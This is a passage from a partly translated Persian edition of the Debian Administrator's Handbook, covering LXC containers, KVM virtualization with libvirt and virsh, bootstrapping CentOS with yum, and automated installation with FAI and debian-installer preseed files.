root@mirwiz:~# lxc-console -n testlxc Debian GNU/Linux 9 testlxc console testlxc login: root Password: Linux testlxc 4.19.0-5-amd64 #1 SMP Debian 4.19.37-5 (2019-06-19) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. root@testlxc:~# ps auxwf USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.2 56736 6608 ? Ss 09:28 0:00 /sbin/init root 32 0.0 0.1 46096 4680 ? Ss 09:28 0:00 /lib/systemd/systemd-journald root 75 0.0 0.1 67068 3328 console Ss 09:28 0:00 /bin/login -- root 82 0.0 0.1 19812 3664 console S 09:30 0:00 \_ -bash root 88 0.0 0.1 38308 3176 console R+ 09:31 0:00 \_ ps auxwf root 76 0.0 0.1 69956 5636 ? Ss 09:28 0:00 /usr/sbin/sshd -D root@testlxc:~#

اکنون درون مخزن هستیم؛ دسترسی به فرآیندها تنها محدود به آن‌هایی است که توسط مخزن آغاز شده باشند و دسترسی به فایل سیستم تنها بخش کوچکی از فایل سیستم کامل /var/lib/lxc/testlxc/rootfs را شامل می‌شود. با استفاده از کلید ترکیبی Control+a q می‌توانیم از کنسول خارج شویم.

به یاد داشته باشید که مخزن را به عنوان یک فرآیند پس‌زمینه اجرا کردیم، به لطف گزینه --daemon از lxc-start. با استفاده از دستور lxc-stop --name=testlxc می‌توانیم مخزن را متوقف کنیم.

بسته lxc شامل یک اسکریپت راه‌اندازی است که به صورت خودکار یک یا چند مخزن را در زمان راه‌اندازی میزبان آغاز می‌کند (مبتنی بر lxc-autostart است که به صورت خودکار مخازن شامل گزینه lxc.start.auto برابر ۱ را راه‌اندازی می‌کند). با استفاده از lxc.start.order و lxc.group می‌توان کنترل بیشتری روی ترتیب اجرای مخازن اعمال کرد: به صورت پیشفرض، اسکریپت راه‌اندازی ابتدا مخازنی را آغاز می‌کند که جزو گروه onboot باشند سپس به سراغ مخازن دیگر می‌رود). در هر دو مورد، ترتیب درون هر گروه توسط گزینه lxc.start.order مشخص می‌شود.

مطالعه بیشتر مجازی‌سازی انبوه

از آنجا که LXC یک سیستم ایزوله‌کردن سبک به حساب می‌آید، می‌تواند به منظور میزبانی از سرورهای مجازی انبوه سازگار شود. پیکربندی شبکه از آنچه در این قسمت توضیح دادیم به مراتب پیچیده‌تر خواهد بود اما پیکربندی “غنی” با استفاده از رابط‌های tap و veth در اکثر موارد به شیوه توضیح داده شده کافی خواهد بود.

به منظور پیشگیری از نصب مجدد نرم‌افزارهایی که برای چندین مخزن کاربردی هستند، معقول بنظر می‌رسد که قسمتی از فایل سیستم مانند /usr و /lib را به اشتراک بگذاریم. اینکار معمولا با مدخل‌های lxc.mount.entry درون فایل پیکربندی مخازن انجام می‌شود. یک تاثیر جانبی جالب این است که فرآیندها از حافظه فیزیکی کمتری استفاده می‌کنند، چرا که کرنل قادر به تشخیص برنامه‌هایی است که به صورت اشتراکی کار می‌کنند. هزینه حاشیه‌ای یک مخزن اضافی دیگر می‌تواند به فضای دیسک اختصاص یافته به داده خاص و چند فرآیند اضافی که کرنل برای زمان‌بندی و مدیریت استفاده می‌کند، کاهش یابد.

البته، تمام گزینه‌های موجود را بررسی نکردیم؛ اطلاعات جامع بیشتر از طریق صفحات راهنمای lxc(7) و lxc.container.conf(5) همراه با سایر مراجع آن قابل دسترس است.

12.2.3. مجازی‌سازی با KVM

KVM، که مخفف عبارت Kernel-based Virtual Machine است، در درجه اول یک افزونه کرنل به حساب می‌آید که اکثر زیرساخت مورد نیاز یک مجازی‌ساز را فراهم می‌کند اما خود یک مجازی‌ساز نیست. کنترل واقعی مجازی‌سازی توسط برنامه‌ای مبتنی بر QEMU انجام می‌شود. نگران نباشید اگر در این قسمت دستورات مربوط به qemu-* را مشاهده کنید: تمام آن‌ها مرتبط با KVM هستند.

برخلاف سایر سیستم‌های مجازی‌سازی، KVM از ابتدا درون کرنل لینوکس قرار گرفت. توسعه‌دهندگان آن تصمیم گرفتند از مجموعه دستورالعمل‌های پردازنده برای مجازی‌سازی (Intel-VT و AMD-V) استفاده کنند که اینکار باعث می‌شود KVM سبک، ظریف و سازگار با منابع پایین باشد. نقطه ضعف آن این است که KVM روی هر رایانه‌ای نمی‌تواند اجرا شود بلکه فقط برخی پردازنده‌های خاص از آن پشتیبانی می‌کنند. برای رایانه‌های مبتنی بر x86، می‌توانید به دنبال پرچم‌های مخصوص پردازنده به نام “vmx” یا “svm” در فایل /proc/cpuinfo بگردید.

با پشتیبانی مداوم Red Hat از توسعه آن، KVM کم و بیش به مرجع مجازی‌سازی در لینوکس تبدیل شده است.

12.2.3.1. گام‌های مقدماتی

KVM برخلاف ابزاری مانند VirtualBox، شامل رابط کاربری برای مدیریت ماشین‌های مجازی نیست. بسته qemu-kvm تنها شامل یک فایل اجرایی برای آغاز یک ماشین مجازی است، همراه با اسکریپت‌های راه‌اندازی که اقدام به بارگیری افزونه‌های مناسب کرنل می‌کنند.

خوشبختانه، Red Hat برای غلبه بر این مشکل مجموعه ابزاری فراهم کرده است که شامل کتابخانه libvirt و ابزارهای virtual machine manager می‌شوند. libvirt امکان مدیریت ماشین‌های مجازی را به یک شیوه یکسان فراهم می‌کند، جدا از سیستم مجازی‌سازی که در پشت صحنه قرار دارد (هم اکنون از QEMU، KVM، Xen، LXC، OpenVZ، VirtualBox، VMWare و UML پشتیبانی می‌کند). virtual-manager یک رابط گرافیکی است که با استفاده از libvirt ماشین‌های مجازی را مدیریت می‌کند.

We first install the required packages, with apt-get install libvirt-clients libvirt-daemon-system qemu-kvm virtinst virt-manager virt-viewer. libvirt-daemon-system provides the libvirtd daemon, which allows (potentially remote) management of the virtual machines running of the host, and starts the required VMs when the host boots. libvirt-clients provides the virsh command-line tool, which allows controlling the libvirtd-managed machines.

بسته virtinst شامل virt-install می‌شود که امکان ایجاد ماشین‌های مجازی از خط فرمان را فراهم می‌کند. در نهایت، virt-viewer اجازه دسترسی به کنسول گرافیکی یک ماشین مجازی را بوجود می‌آورد.

12.2.3.2. پیکربندی شبکه

درست مانند Xen و LXC، متداول‌ترین پیکربندی شبکه شامل یک bridge که رابط‌های شبکه ماشین‌های مجازی را گروه‌بندی می‌کند، می‌باشد ( قسمت 12.2.2.2, “پیکربندی شبکه” را مشاهده کنید).

به طور متقابل، در پیکربندی پیشفرض فراهم شده توسط KVM، یک نشانی خصوصی به ماشین مجازی اختصاص می‌یابد (در محدوده 192.168.122.0/24) و NAT طوری تنظیم می‌شود که ماشین مجازی بتواند به شبکه خارجی دسترسی داشته باشد.

باقیمانده این قسمت با توجه به اینکه میزبان دارای یک رابط فیزیکی eth0 و bridge br0 است ادامه می‌یابد، به طوری که اولی به دومی متصل شده است.

12.2.3.3. نصب با virt-install

ایجاد یک ماشین مجازی بسیار شبیه یک سیستم عادی است، با این تفاوت که ویژگی‌های ماشین مجازی به صورت گزینه‌های بی‌پایان در خط فرمان قرار می‌گیرند.

در عمل، یعنی از یک نصب کننده دبیان استفاده خواهیم کرد، با راه‌اندازی ماشین مجازی روی یک درایو DVD-ROM که به یک تصویر از DVD دبیان ذخیره شده در سیستم میزبان نگاشت شده است. ماشین مجازی از طریق پروتکل VNC کنسول گرافیکی خود را آماده می‌کند ( قسمت 9.2.2, “استفاده از میزکارهای گرافیکی راه‌دور” را مشاهده کنید) که اینکار به ما اجازه می‌دهد فرآیند نصب را کنترل کنیم.

ابتدا باید به libvirtd بگوییم تصاویر دیسک را در کجا ذخیره کند، مگر مکان پیشفرض /var/lib/libvirt/images/ مناسب باشد.

root@mirwiz:~# mkdir /srv/kvm root@mirwiz:~# virsh pool-create-as srv-kvm dir --target /srv/kvm Pool srv-kvm created root@mirwiz:~#

نکته افزودن کاربر خود به گروه libvirt

All samples in this section assume that you are running commands as root. Effectively, if you want to control a local libvirt daemon, you need either to be root or to be a member of the libvirt group (which is not the case by default). Thus if you want to avoid using root rights too often, you can add yourself to the libvirt group and run the various commands under your user identity.

اکنون بیایید فرآیند نصب ماشین مجازی را آغاز کرده و نگاهی بر مهم‌ترین گزینه‌های virt-install بیندازیم. این دستور، ماشین مجازی و پارامترهای آن را در libvirtd ثبت می‌کند سپس به اجرای آن پرداخته تا فرآیند نصب ادامه یابد.

# virt-install --connect qemu:///system --virt-type kvm --name testkvm --memory 1024 --disk /srv/kvm/testkvm.qcow,format=qcow2,size=10 --cdrom /srv/isos/debian-10.2.0-amd64-netinst.iso --network bridge=virbr0 --graphics vnc --os-type linux --os-variant debian10 Starting install... Allocating 'testkvm.qcow' | 10 GB 00:00

گزینه --connect مشخص می‌کند از کدام “hypervisor” استفاده شود. فرم استفاده از آن شامل یک URL همراه با سیستم مجازی‌سازی مرتبط (xen://، qemu://، lxc://، openvz://، vbox://) و ماشینی که باید از آن میزبانی کند می‌باشد (در صورت استفاده از localhost می‌تواند خالی باشد). علاوه بر این و در مورد QEMU/KVM، هر کاربر می‌تواند با استفاده از مجوزهای محدودشده ماشین‌های مجازی را مدیریت کند و مسیر URL امکان تفاوت قائل شدن بین ماشین‌های “سیستم” (/system) را از دیگر (/session) فراهم می‌کند.

از آنجا که KVM به شیوه مشابه QEMU مدیریت می‌شود، --virt-type kvm امکان مشخص کردن استفاده از KVM با وجود تشابه با URL QEMU را فراهم می‌کند.

گزینه --name یک نام (منحصربفرد) برای ماشین مجازی تعریف می‌کند.

The --memory option allows specifying the amount of RAM (in MB) to allocate for the virtual machine.

The --disk specifies the location of the image file that is to represent our virtual machine's hard disk; that file is created, unless present, with a size (in GB) specified by the size parameter. The format parameter allows choosing among several ways of storing the image file. The default format (qcow2) allows starting with a small file that only grows when the virtual machine starts actually using space.

گزینه --cdrom به منظور یافتن دیسک نوری برای فرآیند نصب استفاده می‌شود. مسیر می‌تواند شامل یک مسیر محلی برای فایل ISO، یک URL که فایل می‌تواند از آنجا دریافت شود یا فایل دستگاه مربوط به یک درایو فیزیکی CD-ROM باشد (/dev/cdrom).

گزینه --network مشخص می‌کند کارت مجازی شبکه چطور با پیکربندی سیستم میزبان ادغام شود. عملکرد پیشفرض آن (که در این نمونه به صورت صریح بیان کرده‌ایم) ادغام آن با شبکه bridge از قبل موجود در سیستم است. اگر چنین bridge موجود نباشد، ماشین مجازی تنها با استفاده از NAT می‌تواند به شبکه فیزیکی دسترسی یابد، بنابراین یک نشانی در محدوده زیرشبکه 192.168.122.0/24 دریافت می‌کند.

--graphics vnc states that the graphical console should be made available using VNC. The default behavior for the associated VNC server is to only listen on the local interface; if the VNC client is to be run on a different host, establishing the connection will require setting up an SSH tunnel (see قسمت 9.2.1.3, “ایجاد تونل‌های رمزگذاری شده با پورت فورواردینگ” ). Alternatively, --graphics vnc,listen=0.0.0.0 can be used so that the VNC server is accessible from all interfaces; note that if you do that, you really should design your firewall accordingly.

گزینه‌های --os-type و --os-variant، با توجه به برخی از ویژگ‌های سیستم عامل اشاره شده، امکان بهینه‌سازی چندین پارامتر ماشین مجازی را فراهم می‌کنند.

در این نقطه، ماشین مجازی در حال اجرا است و به منظور ادامه فرآیند نصب باید به کنسول گرافیکی متصل شویم. اگر عملیات قبل از طریق یک میزکار گرافیکی صورت گرفته باشد، این ارتباط به صورت مستقیم برقرار می‌شود. در غیر اینصورت، یا در حالتی که از راه دور اینکار را انجام می‌دهیم، virt-viewer با استفاده از هر محیط گرافیکی برای باز کردن کنسول گرافیکی می‌تواند اجرا شود (به یاد داشته باشید که دو مرتبه گذرواژه root درخواست می‌شود چرا که ۲ ارتباط SSH مورد نیاز است):

$ virt-viewer --connect qemu+ssh://root@server/system testkvm root@server's password: root@server's password:

زمانی که فرآیند نصب به پایان برسد، ماشین مجازی راه‌اندازی مجدد می‌گردد تا قابل استفاده شود.

12.2.3.4. مدیریت ماشین‌های مجازی با virsh

اکنون که نصب به پایان رسیده است، بیایید چگونگی مدیریت ماشین‌های مجازی را بررسی کنیم. اولین کاری که باید بکنیم پرسش از libvirtd برای فهرستی از ماشین‌های مجازی موجود است:

# virsh -c qemu:///system list --all Id Name State ---------------------------------- 8 testkvm shut off

بیایید ماشین مجازی آزمایشی خود را آغاز کنیم:

# virsh -c qemu:///system start testkvm Domain testkvm started

اکنون می‌توانیم دستورالعمل‌های ارتباط به کنسول گرافیکی را دریافت کنیم (نمایش VNC بازگشتی می‌تواند به عنوان پارامتر vncviewer استفاده شود):

# virsh -c qemu:///system vncdisplay testkvm 127.0.0.1:0

سایر دستورات virsh عبارتند از:

reboot برای راه‌اندازی مجدد یک ماشین مجازی؛

shutdown برای درخواست یک shutdown تمیز؛

destroy برای توقف خشن آن؛

suspend برای توقف عادی آن؛

resume برای ادامه فعالیت آن؛

autostart برای فعال کردن (یا غیر فعال کردن با گزینه --disable) راه‌اندازی ماشین مجازی به صورت خودکار در زمان راه‌اندازی میزبان؛

undefine برای حذف تمام نشانه‌های ماشین مجازی از libvirtd.

تمام این دستورات شناسه ماشین مجازی را به عنوان یک پارامتر دریافت می‌کنند.

12.2.3.5. نصب یک سیستم مبتنی بر RPM در دبیان با استفاده از yum

اگر قرار باشد ماشین مجازی به منظور اجرای دبیان (یا یکی از توزیع‌های آن) راه‌اندازی گردد، سیستم می‌تواند با استفاده از debootstrap همانطور که توضیح داده شد راه‌اندازی شود. اما اگر قرار باشد ماشین مجازی به منظور اجرای یک سیستم مبتنی بر RPM (مانند Fedora، CentOS یا Scientific Linux) راه‌اندازی گردد، اینکار باید با استفاده از ابزار yum صورت گیرد (که در بسته‌ای با همین نام قرار دارد).

این فرآیند شامل استفاده از rpm به منظور استخراج مجموعه‌ای از فایل‌ها، شامل فایل‌های پیکربندی yum، سپس فراخوانی yum برای استخراج سایر بسته‌های باقیمانده می‌باشد. اما از آنجا که فراخوانی yum خارج از chroot صورت می‌گیرد، باید برخی تغییرات موقتی را ایجاد کنیم. در نمونه زیر، chroot هدف عبارت است از /srv/centos.

# rootdir="/srv/centos" # mkdir -p "$rootdir" /etc/rpm # echo "%_dbpath /var/lib/rpm" > /etc/rpm/macros.dbpath # wget http://mirror.centos.org/centos/7/os/x86_64/Packages/centos-release-7-6.1810.2.el7.centos.x86_64.rpm # rpm --nodeps --root "$rootdir" -i centos-release-7-6.1810.2.el7.centos.x86_64.rpm rpm: RPM should not be used directly install RPM packages, use Alien instead! rpm: However assuming you know what you are doing... warning: centos-release-7-6.1810.2.el7.centos.x86_64.rpm: Header V3 RSA/SHA256 Signature, key ID f4a80eb5: NOKEY # sed -i -e "s,gpgkey=file:///etc/,gpgkey=file://${rootdir}/etc/,g" $rootdir/etc/yum.repos.d/*.repo # yum --assumeyes --installroot $rootdir groupinstall core [...] # sed -i -e "s,gpgkey=file://${rootdir}/etc/,gpgkey=file:///etc/,g" $rootdir/etc/yum.repos.d/*.repo

12.3. نصب خودکار

مدیر سیستم‌های شرکت فالکوت، مانند سایر مدیر سیستم‌های خدمات بزرگ IT، به ابزاری نیاز دارند که فرآیند نصب (یا بازنصب) ماشین‌های خود را در کمترین زمان و در صورت ممکن به صورت خودکار انجام دهند.

این نیازمندی‌ها توسط طیف گسترده‌ای از راه حل‌ها برطرف می‌شوند. از یک طرف ابزار عمومی مانند SystemImager با ایجاد یک تصویر از ماشین نمونه، آن را روی ماشین‌های هدف گسترش می‌دهد؛ از طرف دیگر، نصب کننده دبیان این قابلیت را دارد که با استفاده از یک فایل پیکربندی خاص به پرسش‌های مطرح شده طی فرآیند نصب به صورت خودکار پاسخ دهد. به عنوان یک راه حل ترکیبی، ابزاری مانند FAI، که مخفف Fully Automatic Installer است، ماشین‌ها را با استفاده از سیستم بسته‌بندی نصب، اما از زیرساخت خود به منظور فرآیندهای پیچیده‌تر مانند راه‌اندازی، پارتیشن‌بندی و پیکربندی استفاده می‌کند.

هر یک از این راه حل‌ها نقاط ضعف و قوت خود را دارند: SystemImager مستقل از سیستم‌های بسته‌بندی کار می‌کند که این امر به مدیریت مجموعه‌ای بزرگ از ماشین‌ها با توزیع‌های مختلف لینوکس منجر می‌شود. همچنین شامل یک سیستم بروزرسانی است که نیازمند نصب مجدد نمی‌باشد، اما این سیستم تنها در صورتی قابل اعتماد خواهد بود که هیچ از یک ماشین‌های زیر مجموعه آن به تنهایی تغییر نکرده باشند؛ به عبارت دیگر، کاربر نباید نرم‌افزاری را بروزرسانی یا نصب کند. به همین شکل، بروزرسانی‌های امنیتی نباید به صورت خودکار صورت پذیرند، چرا که باید توسط یک تصویر مرجع و مرکزی از SystemImager مدیریت شوند. این راه حل نیازمند یکپارچه بودن ماشین‌های هدف از نقطه نظر معماری رایانه است، در غیر اینصورت از تصاویر بسیار گوناگونی برای مدیریت آن باید استفاده شود (یک تصویر i386 با ماشین powerpc سازگار نیست).

از طرف دیگر، یک نصب خودکار با استفاده از debian-installer می‌تواند با توجه به نیاز هر ماشین تغییر یابد: برنامه نصب کننده کرنل و بسته‌های نرم‌افزاری مناسب را از مخازن خود دریافت، سخت‌افزار موجود را شناسایی، تمام هارد دیسک را به منظور استفاده بهینه از فضا پارتیشن‌بندی، سیستم مورد نیاز دبیان را نصب و یک راه‌انداز مناسب را تنظیم می‌کند. اگرچه، نصب‌کننده استاندارد تنها نسخه‌های استاندارد دبیان را همراه با سیستم پایه و مجموعه‌ای از “وظایف” انتخابی را نصب می‌کند؛ اینکار از نصب یک سیستم به خصوص همراه با برنامه‌های بسته‌بندی نشده جلوگیری می‌کند. برای رفع این نیازهای خاص نیاز به سفارشی‌سازی نصب کننده است... خوشبختانه، نصب کننده بسیار ماژولار بوده و ابزارهایی برای خودکارسازی این فرآیند سفارشی‌سازی وجود دارند، به خصوص simple-CDD که مخفف Custom Debian Derivative است. این ابزار، با این حال تنها بخش اولیه فرآیند نصب را مدیریت می‌کند؛ این مشکل بزرگی نخواهد بود چرا که ابزار APT امکان گسترش بهینه بروزرسانی‌ها را فراهم می‌کنند.

به منظور تمرکز روی debian-installer و simple-CDD، تنها به بررسی کوتاه FAI می‌پردازیم و ابزار SystemImager را نادیده می‌گیریم (که دیگر در دبیان وجود ندارد)، چرا که این ابزارها در محیط دبیان بسیار متداول هستند.

12.3.1. نصب‌کننده تمام خودکار (FAI)

نصب‌کننده تمام خودکار احتمالا قدیمی‌ترین سیستم گسترش خودکار برای دبیان باشد، که جایگاه آن به عنوان یک مرجع را مشخص می‌کند؛ اما طبیعت بسیار سازگار آن به نوعی پیچیدگی‌های درونی‌اش را جبران می‌کند.

FAI نیازمند یک سیستم سرور به منظور نگهداری از اطلاعات راه‌اندازی برای ماشین‌های است که قصد دارند از طریق شبکه به آن متصل گردند. این سرور نیازمند بسته fai-server (یا fai-quickstart، که عناصر مورد نیاز برای یک پیکربندی استاندارد را گردآوری می‌کند) است.

FAI از یک رویکرد مشخص برای تعریف پروفایل‌های قابل نصب استفاده می‌کند. بجای رونوشت‌گیری ساده از یک مرجع قابل نصب، FAI یک نصب‌کننده تمام عیار است، که با استفاده از مجموعه فایل‌ها و اسکریپت‌های ذخیره‌شده در سرور قابل پیکربندی می‌باشد؛ مکان پیشفرض /srv/fai/config/ به صورت خودکار ایجاد نمی‌شود، پس مدیر سیستم در کنار سایر فایل‌ها باید آن را ایجاد کند. در اکثر موارد، این فایل‌ها توسط نمونه‌هایی که در بسته مستندات fai-doc وجود دارد سفارشی‌سازی می‌شوند، به خصوص دایرکتوری /usr/share/doc/fai-doc/examples/simple/.

Once the profiles are defined, the fai-setup command generates the elements required to start a FAI installation; this mostly means preparing or updating a minimal system (NFS-root) used during installation. An alternative is to generate a dedicated boot CD with fai-cd.

ایجاد تمام این فایل‌های پیکربندی نیازمند درک درستی از چگونگی عملکرد FAI می‌باشد. یک فرآیند متداول نصب از گام‌های زیر تشکیل شده است:

دریافت یک کرنل از شبکه و راه‌اندازی آن؛

اتصال فایل سیستم root از NFS؛

اجرای /usr/sbin/fai، که باقی فرآیند نصب را کنترل می‌کند (از این رو گام‌های بعدی توسط این اسکریپت فراخوانی می‌شوند)؛

رونوشت‌گیری فضای پیکربندی از سرور درون /fai/؛

اجرای fai-class. اسکریپت‌های /fai/class/[0-9][0-9]* به ترتیب اجرا می‌شوند و نام “کلاس‌های” منطبق با ماشین مورد نظر می‌باشند را بر می‌گردانند؛ از این اطلاعات برای ادامه فرآیند نصب استفاده می‌شود. اینکار موجب انعطاف‌پذیری در تعریف سرویس‌های مورد نیاز برای نصب و پیکربندی می‌شود.

دریافت تعدادی از متغیرهای پیکربندی، با توجه به کلاس‌های مربوطه؛

پارتیشن‌بندی دیسک‌ها و فرمت کردن پارتیشن‌ها، بر اساس اطلاعات فراهم شده در /fai/disk_config/class؛

اتصال پارتیشن‌های مذکور؛

نصب سیستم پایه؛

گردآوری پایگاه‌داده Debconf با استفاده از fai-debconf؛

دریافت فهرست بروزرسانی‌های موجود برای APT؛

نصب بسته‌های فهرست شده در /fai/package_config/class؛

اجرای اسکریپت‌های پس از پیکربندی، /fai/scripts/class/[0-9][0-9]*؛

ثبت گزارش‌های نصب، قطع اتصال پارتیشن‌ها و راه‌اندازی مجدد.

12.3.2. گردآوری debian-installer

در انتها، بهترین ابزار برای نصب سیستم‌های دبیان به طور منطقی باید نصب‌کننده رسمی دبیان باشد. به همین دلیل است، که از ابتدای آن، debian-installer برای کاربرد خودکاری سازی طراحی شده است که از زیرساخت فراهم شده توسط debconf استفاده می‌کند. گزینه دوم، از یک طرف امکان کاهش تعداد پرسش‌های مطرح شده را فراهم می‌کند (پرسش‌های پنهان با پاسخ‌های پیشفرض جواب داده می‌شوند)، از طرف دیگر پاسخ‌های پیشفرض به صورت جداگانه ارائه می‌شوند، به این منظور که فرآیند نصب به صورت غیر-تعاملی انجام شود. این ویژگی آخر به نام preseeding شناخته می‌شود.

مطالعه بیشتر Debconf همراه با یک پایگاه‌داده مرکزی

Preseeding امکان فراهم کردن مجموعه‌ای از پاسخ‌ها به پرسش‌های Debconf در زمان نصب را می‌دهد، اما این پاسخ‌ها ایستا بوده و در گذر زمان تغییر نمی‌کنند. از آنجا که ماشین‌های نصب-شده نیازمند بروزرسانی هستند و ممکن است به پاسخ‌های جدید نیاز باشد، فایل پیکربندی /etc/debconf.conf می‌تواند به منظور استفاده Debconf از منابع خارجی داده (مانند یک دایرکتوری سرور LDAP یا فایلی که از طریق NFS یا Samba مورد نیاز باشد)، پیکربندی شود. منابع داده خارجی متفاوتی می‌توانند در یک زمان تعریف شوند تا یکدیگر را کامل کنند. پایگاه‌داده محلی به منظور دسترسی خواندنی-نوشتنی و پایگاه‌داده‌های راه دور به منظور دسترسی فقط-خواندنی محدود می‌شوند. صفحه راهنمای debconf.conf(5) به تشریح تمام احتمالات موجود در این زمینه می‌پردازد (به بسته debconf-doc نیاز دارید).

12.3.2.1. استفاده از یک فایل Preseed

مکان‌های مختلفی وجود دارد که یک نصب‌کننده می‌تواند فایل preseed را دریافت کند:

در initrd که برای راه‌اندازی ماشین استفاده شده است؛ در این مورد، عملیات preseed در ابتدای فرآیند نصب صورت می‌گیرد و تمام پرسش‌ها می‌توانند نادیده گرفته شوند. این فایل باید بنام preseed.cfg در اولین سطح دایرکتوری initrd قرار گیرد.

در رسانه راه‌اندازی (مانند CD یا USB)؛ عملیات preseed به محض اتصال رسانه صورت می‌گیرد، یعنی درست پس از پرسش‌های مربوط به زبان و ساختار صفحه کلید. پارامتر راه‌اندازی preseed/file می‌تواند برای شناسایی مکان فایل preseed (برای نمونه، /cdrom/preseed.cfg در هنگام نصب از CD-ROM یا /hd-media/preseed.cfg در هنگام نصب از USB) مورد استفاده قرار گیرد.

از طریق شبکه؛ عملیات preseed پس از پیکربندی (خودکار) شبکه صورت می‌گیرد؛ پارامتر راه‌اندازی مرتبط با آن عبارت است از preseed/url=http://server/preseed.cfg.

در یک نگاه، قرار دادن فایل preseed درون initrd ممکن است جالب‌ترین گزینه به نظر آید؛ اگرچه، کمتر از این حالت استفاده می‌شود چرا که ایجاد یک initrd قابل نصب بسیار دشوار است. دو راهکار جایگزین دیگر، بیشتر متداول هستند، به خصوص که پارامترهای راه‌اندازی روشی دیگر برای آماده‌سازی پاسخ‌ها به اولین پرسش‌های فرآیند نصب را فراهم می‌کنند. روش مرسوم برای ذخیره‌سازی این پارامترهای راه‌اندازی و جلوگیری از نوشتن هر کدام در زمان نصب، قرار دادن آن‌ها در پیکربندی مرتبط با isolinux (در مورد CD-ROM) یا syslinux (در مورد USB) است.

12.3.2.2. ایجاد یک فایل Preseed

یک فایل preseedاز نوع متنی است که در هر خط آن پاسخ به یک پرسش از Debconf قرار دارد. هر خط به چهار فیلد که با فاصله (space یا tab) از یکدیگر جدا می‌شوند، تقسیم شده است. برای نمونه، در مورد d-i mirror/suite string stable:

فیلد اول “مالک” پرسش به حساب می‌آید؛ “d-i” برای پرسش‌هایی استفاده می‌شود که مرتبط با فرآیند نصب هستند، اما می‌تواند در مورد نام بسته‌های موجود دبیان نیز بکار رود؛

فیلد دوم یک شناسه برای پرسش به حساب می‌آید؛

فیلد سوم نوع پرسش را مشخص می‌کند؛

فیلد چهارم و آخرین فیلد نیز پاسخ به پرسش را شامل می‌شود. به یاد داشته باشید که از فیلد سوم توسط یک space باید جدا شود؛ اگر بیش از یک فاصله بکار رود، به عنوان بخشی از پاسخ در نظر گرفته می‌شود.

ساده‌ترین روش برای ایجاد یک فایل preseed نصب یک سیستم به صورت دستی است. سپس debconf-get-selections --installer پاسخ‌های مرتبط با آن را فراهم می‌کند. پاسخ‌های مرتبط با سایر بسته‌ها نیز توسط debconf-get-selections گردآوری می‌شوند. اگرچه، راهکار بهتر در این مورد نوشتن فایل preseed به صورت دستی است، که از یک فایل نمونه و مستندات مرجع می‌توان استفاده کرد: با چنین رویکردی، تنها پرسش‌هایی که پاسخ‌های پیشفرض داشته باشند می‌توانند آماده‌سازی شوند؛ استفاده از پارامتر راه‌اندازی priority=critical به Debconf دستور می‌دهد که تنها به پرسش‌های حیاتی پاسخ دهد و از پاسخ‌های پیشفرض برای سایر پرسش‌ها استفاده کند.

مستندات ضمیمه راهنمای نصب

The installation guide, available online, includes detailed documentation on the use of a preseed file in an appendix. It also includes a detailed and commented sample file, which can serve as a base for local customizations.

→ https://www.debian.org/releases/stable/amd64/apb

→ https://www.debian.org/releases/stable/example-preseed.txt

12.3.2.3. ایجاد یک رسانه راه‌اندازی سفارشی‌

دانستن اینکه یک فایل preseed در کجا ذخیره شود خوب است، اما کافی نیست: مدیر سیستم باید به شیوه‌ای رسانه‌ راه‌اندازی نصب را تغییر دهد که پارامترهای راه‌اندازی تغییر کرده و فایل preseed به آن اضافه شود.

12.3.2.3.1. راه‌اندازی از طریق شبکه

When a computer is booted from the network, the server sending the initialization elements also defines the boot parameters. Thus, the change needs to be made in the PXE configuration for the boot server; more specifically, in its /tftpboot/pxelinux.cfg/default configuration file. Setting up network boot is a prerequisite; see the Installation Guide for details.

→ https://www.debian.org/releases/stable/amd64/ch04s05

12.3.2.3.2. آماده‌سازی یک USB قابل اجرا

زمانی که یک حافظه قابل راه‌اندازی آماده‌سازی شد ( قسمت 4.1.2, “راه‌اندازی از USB” را مشاهده کنید)، برخی عملیات اضافی مورد نیاز است. فرض می‌کنیم که محتوای حافظه در /media/usbdisk/ قرار دارد:

رونوشت گرفتن از فایل preseed در /media/usbdisk/preseed.cfg

ویرایش /media/usbdisk/syslinux.cfg و افزودن پارامترهای راه‌اندازی مورد نیاز (مثال زیر را مشاهده کنید).

مثال 12.2. فایل syslinux.cfg و پارامترهای عملیات آماده‌سازی

default vmlinuz append preseed/file=/hd-media/preseed.cfg locale=en_US.UTF-8 keymap=us language=us country=US vga=788 initrd=initrd.gz --

12.3.2.3.3. ایجاد یک تصویر CD-ROM

یک حافظه USB از نوع رسانه‌های خواندنی-نوشتنی است، پس تغییر فایل در آن و افزودن پارامترها کار آسانی است. در مورد CD-ROM، این عملیات از پیچیدگی بیشتری برخوردار است چرا که نیازمند تولید مجدد تصویر ISO از آن می‌باشد. این وظیفه توسط debian-cd مدیریت می‌شود، اما استفاده از این ابزار برای اینکار مطلوب نیست: نیازمند یک mirror محلی و درک از گزینه‌های موجود در /usr/share/debian-cd/CONF.sh است؛ حتی در این صورت، make چندین بار باید فراخوانی شود. بنابراین مطالعه /usr/share/debian-cd/README به شدت توصیه می‌گردد.

با این تفاسیر، debian-cd به شیوه مشابهی عمل می‌کند: یک دایرکتوری “image” همراه با محتوای دقیق از CD-ROM تولید، سپس با استفاده از ابزاری مانند genisoimage، mkisofs یا xorriso به فایل ISO تبدیل می‌شود. دایرکتوری image پس از گام make image-trees در debian-cd نهایی می‌گردد. در این نقطه، فایل preseed را درون دایرکتوری متناسب آن قرار می‌دهیم (معمولا $TDIR/$CODENAME/CD1/، که پارامترهای $TDIR و $CODENAME توسط فایل پیکربندی CONF.sh تعریف می‌شوند). CD-ROM از isolinux به عنوان راه‌انداز خود استفاده می‌کند که فایل پیکربندی آن باید توسط آنچه که debian-cd تولید کرده است سازگار باشد، تا بتوان پارامترهای راه‌اندازی مورد نیاز را وارد کرد (فایل مشخص آن عبارت است از $TDIR/$CODENAME/boot1/isolinux/isolinux.cfg). در انتها فرآیند “عادی” می‌تواند ادامه یابد و می‌توان تصویر ISO را با استفاده از make image CD=1 (یا make images در صورت نیاز به چندین CD-ROM) ایجاد کنیم.

12.3.3. Simple-CDD: یک راهکار جامع

